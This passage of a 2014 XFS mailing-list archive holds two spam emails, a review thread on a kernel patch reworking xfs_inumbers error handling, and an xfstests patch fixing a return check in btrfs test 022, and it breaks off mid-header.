http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= Une sécurité d'utilisation totale Seuil d'accès très bas, revêtement antidérapant, barre de maintien, siège rabattable anti-glisse... Chaque élément IdealDouche® participe à une totale sécurité́ de déplacement et de mouvement. D'où une inestimable tranquillité́ d'esprit à l'usage ! Installation en moins d'une journée C'est simple : du jour au lendemain, sans détruire le mur ni le sol de votre salle de bain, IdealDouche® est posée par un Technicien expert. Vous transformerez ainsi votre espace en un lieu de détente et de bien-être parfaitement sécurisé ! Parfaitement modulable IdealDouche s'adapte parfaitement à la configuration de votre salle de bain, et vient s'installer à la place de votre ancienne baignoire ou de votre ancienne douche. Sa taille est ajustable selon vos souhaits, ce qui vous garantit une douche des plus spacieuses. : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= * Senior Actu, Mercredi 12 octobre 2011 : « Les chutes touchent durement et mortellement les seniors » ** Dossier de presse novembre 2000 « Prévention des chutes chez les personnes âgées » Sécurité Sociale Comité Français d'Éducation pour la Santé. : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= ========================================== Ce courriel a été envoyé par IdealDouche à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=38f4a979&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=38f4a979&ln=fr --b1_945ccdd20e1a807b7b321ad384628117 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Idealdouche : Une solution unique en France !
IdealDouche
Idealdouche : Une solution unique en France !
La 1ère douche de plain-pied conçue sur mesure Couple
Choisissez la solution totalement nouvelle et 100 % sécurité pour votre salle de bain !
  • Une sécurité d'utilisation totale
  • Installation en moins d'une journée
  • Parfaitement modulable
Devis sans engagement
Ingénieuses de par leur conception, nos douches sont uniques en France.
IdealDouche Une sécurité d'utilisation totale
Seuil d'accès très bas, revêtement antidérapant, barre de maintien, siège rabattable anti-glisse...
Chaque élément IdealDouche® participe à une totale sécurité́ de déplacement et de mouvement.
D'où une inestimable tranquillité́ d'esprit à l'usage !

Normes
Installation en moins d'une journée
C'est simple : du jour au lendemain, sans détruire le mur ni le sol de votre salle de bain, IdealDouche® est posée par un Technicien expert.
Vous transformerez ainsi votre espace en un lieu de détente et de bien-être parfaitement sécurisé !


Parfaitement modulable
IdealDouche s'adapte parfaitement à la configuration de votre salle de bain, et vient s'installer à la place de votre ancienne baignoire ou de votre ancienne douche. Sa taille est ajustable selon vos souhaits, ce qui vous garantit une douche des plus spacieuses.
Le saviez-vous ?
     *   Senior Actu, Mercredi 12 octobre 2011 :
          « Les chutes touchent durement et mortellement les seniors »
     **  Dossier de presse novembre 2000 « Prévention des chutes chez les personnes âgées »
          Sécurité Sociale Comité Français d'Éducation pour la Santé.
Demandez un devis gratuit c'est sans engagement !
Ce courriel a été envoyé par IdealDouche à xfs@oss.sgi.com.
Zetrend | 2, Place Louis Pradel, lyon, 60001, France
Pourquoi je reçois ce mail?
Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
--b1_945ccdd20e1a807b7b321ad384628117-- From customer_servicess@outlook.com Sun Jan 5 11:49:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3C2BC7F3F for ; Sun, 5 Jan 2014 11:49:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2EB408F8052 for ; Sun, 5 Jan 2014 09:49:46 -0800 (PST) X-ASG-Debug-ID: 1388944184-04cb6c537ec01760001-w1Z2WR Received: from mail.dnsroots.com (mail.dnsroots.com [108.168.143.191]) by cuda.sgi.com with ESMTP id H8oiMqHmhTlOZrvz for ; Sun, 05 Jan 2014 09:49:44 -0800 (PST) X-Barracuda-Envelope-From: customer_servicess@outlook.com X-Barracuda-Apparent-Source-IP: 108.168.143.191 Received: from ABTS-mum-dynamic-115.82.170.122.airtelbroadband.in [122.170.82.115] by mail.dnsroots.com with SMTP; Sun, 5 Jan 2014 11:49:26 -0600 Message-ID: <02bb065d-41644-549d9718311806@space2let> Reply-To: "Ritimukta Menon" From: "Ritimukta Menon" To: linux-xfs@oss.sgi.com Subject: Travel feature on your Hotel/Resort Date: Sun, 5 Jan 2014 23:18:27 +0530 X-ASG-Orig-Subj: Travel feature on your Hotel/Resort MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Priority: 3 X-Barracuda-Connect: mail.dnsroots.com[108.168.143.191] X-Barracuda-Start-Time: 1388944184 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143760 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Respected professional, Permit us to introduce ourselves. We are a leading travel features website with 20,000 registered users who visit our site for travel information plus strategies. We would like to barter a 3N/2D stay at your hotel/resort in exchange for a 2000 word travel feature on our portal with 15-20 colour photographs. After your hotel is featured on our portal, this article is published in leading travel magazines, if they find it suited for their magazines. If interested to barter a 3N/4D stay during your LOW SEASON or during months where you have LOW OCCUPANCY, please reply blank email with YESTRAV* in the subject, if not interested, please reply blank email with NOTRAV* in the subject and to be removed from this private mailing list reply blank email with NONO_hotel_resort* in the Subject line of your mail. * extremely case sensitive. Once you respond, we will email you. 1. Link to a 2000 word travel feature with 15 photos sponsored by Pimalai Resort, Koh Lanta, Thailand 2. Same travel feature published in a leading Travel and Lifestyle Magazine Your travel feature link will be emailed to our 20,000 registered users. regards, Travel Features Team - India Sent on my BlackBerryR from Vodafone From jeff.liu@oracle.com Mon Jan 6 00:23:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 989707F3F for ; Mon, 6 Jan 2014 00:23:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 77BFD8F8039 for ; Sun, 5 Jan 2014 22:23:31 -0800 (PST) X-ASG-Debug-ID: 1388989410-04cb6c537dc1a590001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id zlw4PsKcn6ViGfCD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 05 Jan 2014 22:23:30 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s066NT10030592 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Jan 2014 06:23:29 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s066NRSc011254 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Jan 2014 06:23:28 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s066NR0T024699; Mon, 6 Jan 2014 06:23:27 GMT Received: from [192.168.1.106] (/221.223.111.235) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sun, 05 Jan 2014 22:23:26 -0800 Message-ID: <52CA4BDB.7010804@oracle.com> Date: Mon, 06 Jan 2014 14:23:23 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Brian Foster , "xfs@oss.sgi.com" Subject: Re: [PATCH 3/10] xfs: consolidate xfs_inumbers References: <52BEB3FA.5080402@oracle.com> <52C72362.2000005@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 3/10] xfs: consolidate xfs_inumbers In-Reply-To: <52C72362.2000005@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388989410 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143781 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/04 2014 04:53 AM, Brian Foster wrote: > On 12/28/2013 06:20 AM, Jeff Liu wrote: >> From: Jie Liu >> >> To fetch the file system number tables, we currently just ignore the >> errors and proceed to loop over the next AG or bump agino to the next >> chunk in case of btree operations failed, that is not properly because >> those errors might hint us potential file system problems. >> >> This patch rework xfs_inumbers() to handle the btree operation errors >> as well as the loop conditions. Also, add pre-checkups for the given >> inode, we can save alloc/free the format buffer once against an invalid >> inode number. >> >> Signed-off-by: Jie Liu >> --- >> fs/xfs/xfs_itable.c | 163 +++++++++++++++++++++++----------------------------- >> 1 file changed, 72 insertions(+), 91 deletions(-) >> >> diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c >> index 692671c..4d262f6 100644 >> --- a/fs/xfs/xfs_itable.c >> +++ b/fs/xfs/xfs_itable.c >> @@ -558,12 +558,12 @@ xfs_bulkstat_single( >> int >> xfs_inumbers_fmt( >> void __user *ubuffer, /* buffer to write to */ >> - const xfs_inogrp_t *buffer, /* buffer to read from */ >> + const struct xfs_inogrp *buffer, /* buffer to read from */ >> long count, /* # of elements to read */ >> long *written) /* # of bytes written */ >> { >> if (copy_to_user(ubuffer, buffer, count * sizeof(*buffer))) >> - return -EFAULT; >> + return XFS_ERROR(EFAULT); >> *written = count * sizeof(*buffer); >> return 0; >> } >> @@ -573,121 +573,102 @@ xfs_inumbers_fmt( >> */ >> int /* error status */ >> xfs_inumbers( >> - xfs_mount_t *mp, /* mount point for filesystem */ >> - xfs_ino_t *lastino, /* last inode returned */ >> - int *count, /* size of buffer/count returned */ >> - void __user *ubuffer,/* buffer with inode descriptions */ >> - inumbers_fmt_pf formatter) >> + struct xfs_mount *mp,/* mount point for filesystem */ >> + xfs_ino_t *lastino,/* last inode returned */ >> + int *count,/* size of buffer/count returned */ >> + void __user *ubuffer,/* buffer with inode desc */ >> + inumbers_fmt_pf formatter) >> { >> - xfs_buf_t *agbp; >> - xfs_agino_t agino; >> - xfs_agnumber_t agno; >> - int bcount; >> - xfs_inogrp_t *buffer; >> - int bufidx; >> - xfs_btree_cur_t *cur; >> - int error; >> - xfs_inobt_rec_incore_t r; >> - int i; >> - xfs_ino_t ino; >> - int left; >> - int tmp; >> - >> - ino = (xfs_ino_t)*lastino; >> - agno = XFS_INO_TO_AGNO(mp, ino); >> - agino = XFS_INO_TO_AGINO(mp, ino); >> - left = *count; >> + xfs_agnumber_t agno = XFS_INO_TO_AGNO(mp, *lastino); >> + xfs_agino_t agino = XFS_INO_TO_AGINO(mp, *lastino); >> + int left = *count; >> + struct xfs_btree_cur *cur = NULL; >> + struct xfs_buf *agbp = NULL; >> + struct xfs_inogrp *buffer; >> + int bcount; >> + int bufidx; >> + int error; >> + >> *count = 0; >> + if (agno >= mp->m_sb.sb_agcount || >> + *lastino != XFS_AGINO_TO_INO(mp, agno, agino)) >> + return 0; >> + >> bcount = MIN(left, (int)(PAGE_SIZE / sizeof(*buffer))); >> buffer = kmem_alloc(bcount * sizeof(*buffer), KM_SLEEP); >> - error = bufidx = 0; >> - cur = NULL; >> - agbp = NULL; >> - while (left > 0 && agno < mp->m_sb.sb_agcount) { >> - if (agbp == NULL) { >> + bufidx = error = 0; >> + do { >> + struct xfs_inobt_rec_incore r; >> + int stat; >> + >> + if (!agbp) { >> error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); >> - if (error) { >> - /* >> - * If we can't read the AGI of this ag, >> - * then just skip to the next one. >> - */ >> - ASSERT(cur == NULL); >> - agbp = NULL; >> - agno++; >> - agino = 0; >> - continue; >> - } >> + if (error) >> + break; >> cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); >> - error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, >> - &tmp); >> - if (error) { >> - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); >> - cur = NULL; >> - xfs_buf_relse(agbp); >> - agbp = NULL; >> - /* >> - * Move up the last inode in the current >> - * chunk. The lookup_ge will always get >> - * us the first inode in the next chunk. >> - */ >> - agino += XFS_INODES_PER_CHUNK - 1; >> - continue; >> - } >> } >> - error = xfs_inobt_get_rec(cur, &r, &i); >> - if (error || i == 0) { >> - xfs_buf_relse(agbp); >> - agbp = NULL; >> - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); >> - cur = NULL; >> - agno++; >> - agino = 0; >> - continue; >> + error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &stat); >> + if (error) >> + break; > > Isn't this lookup only needed after cursor initialization? i.e., we > lookup once and increment through the records via xfs_btree_increment() > below. Yes, but please see my comments below. > >> + if (!stat) { >> + /* Done, proceed to look up the next AG */ >> + goto next_ag; >> } >> + >> + error = xfs_inobt_get_rec(cur, &r, &stat); >> + if (error) >> + break; >> + XFS_WANT_CORRUPTED_GOTO(stat == 1, error0); >> + >> agino = r.ir_startino + XFS_INODES_PER_CHUNK - 1; >> buffer[bufidx].xi_startino = >> XFS_AGINO_TO_INO(mp, agno, r.ir_startino); >> buffer[bufidx].xi_alloccount = >> XFS_INODES_PER_CHUNK - r.ir_freecount; >> buffer[bufidx].xi_allocmask = ~r.ir_free; >> - bufidx++; >> - left--; >> - if (bufidx == bcount) { >> - long written; >> - if (formatter(ubuffer, buffer, bufidx, &written)) { >> - error = XFS_ERROR(EFAULT); >> + if (++bufidx == bcount) { >> + long written; >> + error = formatter(ubuffer, buffer, bufidx, &written); >> + if (error) >> break; >> - } >> ubuffer += written; >> *count += bufidx; >> bufidx = 0; >> } >> - if (left) { >> - error = xfs_btree_increment(cur, 0, &tmp); >> - if (error) { >> - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); >> - cur = NULL; >> - xfs_buf_relse(agbp); >> - agbp = NULL; >> - /* >> - * The agino value has already been bumped. >> - * Just try to skip up to it. >> - */ >> - agino += XFS_INODES_PER_CHUNK; >> - continue; >> - } >> + if (!--left) >> + break; >> + >> + error = xfs_btree_increment(cur, 0, &stat); >> + if (error) >> + break; >> + if (stat) { >> + /* >> + * The agino value has already been bumped, just try >> + * to skip up to it. >> + */ >> + agino += XFS_INODES_PER_CHUNK; >> + continue; >> } > > Maybe it's just me, but this reads a little funny to me. In particular > because we only get here if stat == 1. I wonder if this would look a bit > cleaner if we pulled the next_ag labeled block below up into the goto, > since that appears to be the only reference. Then just let the loop fall > through. Actually, we would never hint xfs_btree_increment() at all no matter the default or with my current change, because the left variable value is 1 as per the user space imap implementation, thus, it should be decreased to 0 in this point. The problem is, how we define the user call interface originally, why it does not support a 2nd argument which can be used to specified a desired icount to return a limited number of inode mapping tables? i.e, imap_f() { if (argc != 2) nent = 1; else nent = atoi(argv[1]); .... } The imap command does not support another options but initialize bulkreq.icount = nent = 1; In kernel, the bcount is evaluated to 1 and if (bufidx == bcount) should be true anyway as below code logic: bcount = MIN(left, (int)(PAGE_SIZE / sizeof(*buffer))); if (bufidx == bcount) { .... formatter(); .... } But, if the left value could be specified from the user progs, maybe we cannot simply assuming "stat == 1" is always be true, in particular, in next path for implementing per AG inumber mechanism, xfs_btree_increment() would probably succeed but "stat == 0" if there is no right neighbors, and if the user could specified the 2nd imap option. Hence, in this patch, I only intended to fix the btree error handling mechanism as a preparation step to implement per AG inumber. > > Also, I think the agino addition here becomes unnecessary when the > lookup issue above is addressed. > >> - } >> + >> +next_ag: >> + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); >> + cur = NULL; >> + xfs_buf_relse(agbp); >> + agbp = NULL; >> + agino = 0; >> + } while (++agno < mp->m_sb.sb_agcount); >> + > > ... and just thinking about the logic that way highlights the bug here, > where we bump agno due to the continue above (where IIUC, we intend to > only move forward within the ag). Perhaps the ++agno should be part of > the broken off 'next_ag' logic as well. Can you please point out a bit more about the bug? We bump agno due to current run out of the current AG but the user want to show more imaps. Thanks, -Jeff From quwenruo@cn.fujitsu.com Mon Jan 6 02:02:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MISSING_SUBJECT, TVD_SPACE_RATIO autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4CF297F4E for ; Mon, 6 Jan 2014 02:02:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CA540AC007 for ; Mon, 6 Jan 2014 00:02:38 -0800 (PST) X-ASG-Debug-ID: 1388995355-04cbb04168c14da0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id UnQAhVHuBbUq88Ri for ; Mon, 06 Jan 2014 00:02:37 -0800 (PST) X-Barracuda-Envelope-From: quwenruo@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,611,1384272000"; d="scan'208";a="9377823" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 06 Jan 2014 15:58:58 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s0682VaS024485 for ; Mon, 6 Jan 2014 16:02:32 +0800 Received: from [172.16.0.100] ([10.167.226.24]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010616013290-844066 ; Mon, 6 Jan 2014 16:01:32 +0800 Message-ID: <52CA634B.7010706@cn.fujitsu.com> Date: Mon, 06 Jan 2014 16:03:23 +0800 From: Qu Wenruo User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 16:01:32, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 16:01:34, Serialize complete at 2014/01/06 16:01:34 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=GB2312 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1388995356 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.29 X-Barracuda-Spam-Status: No, SCORE=1.29 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_SUBJECT, MISSING_SUBJECT_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143783 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 MISSING_SUBJECT Missing Subject: header 1.28 MISSING_SUBJECT_2 Missing Subject: header subscribe From wangsl.fnst@cn.fujitsu.com Mon Jan 6 02:10:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 489707F4E for ; Mon, 6 Jan 2014 02:10:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CF5AFAC005 for ; Mon, 6 Jan 2014 00:10:09 -0800 (PST) X-ASG-Debug-ID: 1388995807-04cbb04167c152c0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id 6xEMj5eSVTDEV5mr for ; Mon, 06 Jan 2014 00:10:08 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,611,1384272000"; d="scan'208";a="9377872" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 06 Jan 2014 16:06:30 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s068A2fU025164; Mon, 6 Jan 2014 16:10:06 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010616090370-844238 ; Mon, 6 Jan 2014 16:09:03 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Wang Shilong , Josef Bacik Subject: [PATCH] xfstests: fix wrong return check for case 022 Date: Mon, 6 Jan 2014 16:08:57 +0800 X-ASG-Orig-Subj: [PATCH] xfstests: fix wrong return check for case 022 Message-Id: <1388995737-3480-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 16:09:03, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 16:09:08, Serialize complete at 2014/01/06 16:09:08 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1388995807 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143783 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Here we expect 0 as return value, fix it. Signed-off-by: Wang Shilong Cc: Josef Bacik --- tests/btrfs/022 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) mode change 100644 => 100755 tests/btrfs/022 diff --git a/tests/btrfs/022 b/tests/btrfs/022 old mode 100644 new mode 100755 index 5b18643..142aaf9 --- a/tests/btrfs/022 +++ b/tests/btrfs/022 @@ -106,7 +106,7 @@ _limit_test() [ $? -ne 0 ] || _fail "quota should have limited us" dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=4M count=1 >> \ $seqres.full 2>&1 - [ $? -eq 0 ] || _fail "should have been allowed to write" + [ $? -ne 0 ] || _fail "should have been allowed to write" } _scratch_mkfs > /dev/null 2>&1 -- 1.8.3.1 From t-itoh@jp.fujitsu.com Mon Jan 6 02:23:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 677797F4E for ; Mon, 6 Jan 2014 02:23:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D8D43AC005 for ; Mon, 6 Jan 2014 00:23:47 -0800 (PST) X-ASG-Debug-ID: 1388996624-04cbb04168c15b70001-NocioJ Received: from fgwmail5.fujitsu.co.jp ([192.51.44.35]) by cuda.sgi.com with ESMTP id bl59WWrw0govABzm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 06 Jan 2014 00:23:45 -0800 (PST) X-Barracuda-Envelope-From: t-itoh@jp.fujitsu.com X-Barracuda-Apparent-Source-IP: 192.51.44.35 Received: from m3.gw.fujitsu.co.jp (unknown [10.0.50.73]) by fgwmail5.fujitsu.co.jp (Postfix) with ESMTP id E27FA3EE1D8 for ; Mon, 6 Jan 2014 17:23:43 +0900 (JST) Received: from smail (m3 [127.0.0.1]) by outgoing.m3.gw.fujitsu.co.jp (Postfix) with ESMTP id D001F45DEB7 for ; Mon, 6 Jan 2014 17:23:43 +0900 (JST) Received: from s3.gw.fujitsu.co.jp (s3.gw.nic.fujitsu.com [10.0.50.93]) by m3.gw.fujitsu.co.jp (Postfix) with ESMTP id B8DC345DD76 for ; Mon, 6 Jan 2014 17:23:43 +0900 (JST) Received: from s3.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1]) by s3.gw.fujitsu.co.jp (Postfix) with ESMTP id A88E0E08002 for ; Mon, 6 Jan 2014 17:23:43 +0900 (JST) Received: from m1000.s.css.fujitsu.com (m1000.s.css.fujitsu.com [10.240.81.136]) by s3.gw.fujitsu.co.jp (Postfix) with ESMTP id 5888A1DB803C for ; Mon, 6 Jan 2014 17:23:43 +0900 (JST) Received: from m1000.css.fujitsu.com (m1000 [127.0.0.1]) by m1000.s.css.fujitsu.com (Postfix) with ESMTP id 2BEC261D1A; Mon, 6 Jan 2014 17:23:43 +0900 (JST) Received: from [127.0.0.1] (univ278.g01.fujitsu.local [10.124.102.72]) by m1000.s.css.fujitsu.com (Postfix) with ESMTP id DBC7261B26; Mon, 6 Jan 2014 17:23:42 +0900 (JST) X-SecurityPolicyCheck: OK by SHieldMailChecker v1.7.4 Message-ID: <52CA67F2.9010108@jp.fujitsu.com> Date: Mon, 06 Jan 2014 17:23:14 +0900 From: Tsutomu Itoh User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Wang Shilong CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, Josef Bacik Subject: Re: [PATCH] xfstests: fix wrong return check for case 022 References: <1388995737-3480-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix wrong return check for case 022 In-Reply-To: <1388995737-3480-1-git-send-email-wangsl.fnst@cn.fujitsu.com> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Barracuda-Connect: UNKNOWN[192.51.44.35] X-Barracuda-Start-Time: 1388996625 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 